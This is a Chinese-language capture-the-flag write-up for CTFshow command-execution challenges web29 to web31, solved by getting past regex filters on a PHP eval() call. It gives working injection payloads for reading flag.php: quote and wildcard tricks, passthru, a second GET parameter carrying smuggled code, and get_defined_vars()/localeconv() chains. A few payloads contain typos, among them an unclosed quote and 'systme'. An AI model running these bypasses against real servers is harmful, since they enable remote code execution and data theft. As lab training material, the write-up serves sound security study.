CTFshow 命令执行 web29 30 31

目录

web29

代码分析:

payload:

解题过程:

flag:

web30

代码分析:

payload:

​编辑flag:

web31

代码分析:

二次传递:通过传两个参数来绕过检测

payload:

套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()

需要用到的函数:

第一种

第二种

flag:


web29

代码分析:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 GET方式获取参数c,并将eval($c)将c作为代码执行

preg_match正则匹配,这里是判断是否存在flag存在则不执行,即过滤flag

payload:

?c=system('tac fl""ag.php);

绕过flag.php的方法很多,这里使用最简单的绕过方式双引号绕过,和它等同的是单引号绕过,更多的绕过方式后面也会提到

tac是查看代码的命令,与cat类似,不知道为什么cat在这里用不了

解题过程:

?c=system('ls');

查看一下当前目录有什么文件

再使用payload获取flag

flag:

ctfshow{144242cf-a65b-4239-99e4-15e538453d2f}

web30

代码分析:

if(!preg_match("/flag|system|php/i", $c))

这里把system与flag、php都过滤了

system绕过:可以使用passthru等函数绕过

flag.php:可以使用引号绕过fl""ag.p""hp,也可以使用通配符绕过fl*

payload:

?c=passthru('ls');
?c=passthru('tac fl*');

flag:

ctfshow{8ea88388-bcad-4091-9c35-cf3cc290f5f6} 

web31

代码分析:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

过滤的东西有点多,单引号过滤了,空格过滤了,这时候可以考虑用二次传递或者套娃来做

二次传递:通过传两个参数来绕过检测

payload:

?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac flag.php');

if中检测的是eval($_GET[1]);并没有出现违法字符,但我们通过eval与&1将命令传递进c中并且能被执行

套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()

需要用到的函数:

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

array_pop() 是删除并返回数组最后一个元素

current() 返回数组中的当前元素的值。别名是 pos()

next() 返回数组中的下一个元素的值。

end()最后一个

scandir() 函数返回指定目录中的文件和目录的数组。

print_r() 函数用于打印变量,以更容易理解的形式展示。

localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

current() 函数返回数组中的当前元素的值。别名是 pos()

array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

read_file()、highlight_file()和show_source()读出源码

第一种

print_r():函数用于打印变量,以更容易理解的形式展示

get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

 print_r(get_defined_vars());

 可以看到一共有这么多参数,其中有个值未POST,尝试使用POST传入Chen=system('ls');

CTFshow 命令执行 web29 30 31_第1张图片

 可以看到POST中出现先了一个system('ls'),现在就需要通过函数将它取出来

current() :返回数组中的当前元素的值。别名是 pos()
next() :返回数组中的下一个元素的值。

使用next函数给它取出来

 print_r(next(get_defined_vars()));

 

 取出来了一个类似于数组的东西,下标为Chen 值为system('ls');

array_pop() 是删除并返回数组最后一个元素
使用array_pop()将值取出来

 print_r(array_pop(next(get_defined_vars())));

现在传入进入的内容就相当于 print_r(system('ls')) ,只需要将print_r换成eval,最终payload

POST传递Chen=system('ls');

eval(array_pop(next(get_defined_vars())));

改变Chen=systme('tac flag.php');

第二种

scandir() 函数返回指定目录中的文件和目录的数组。

localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."

这道题将.给过滤了,所以可以使用localeconv()代替点,scandir(.),使用前面提到的current()/pos()将.给取出来

print_r(scandir(pos(localeconv())));

可以看到flag.php ,使用函数给它取出来使用代码展示函数,将网页显示出来

array_reverse():将整个数组反转,再使用next取出flag.php

print_r(next(array_reverse(scandir(pos(localeconv())))));

最后使用 read_file()、highlight_file()和show_source()读出源码

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

CTFshow 命令执行 web29 30 31_第2张图片

flag:

ctfshow{44e0aa35-ceb8-4317-b8ed-c3f7ef77a40c}

你可能感兴趣的:(渗透测试,CTF,命令执行,web安全,网络安全)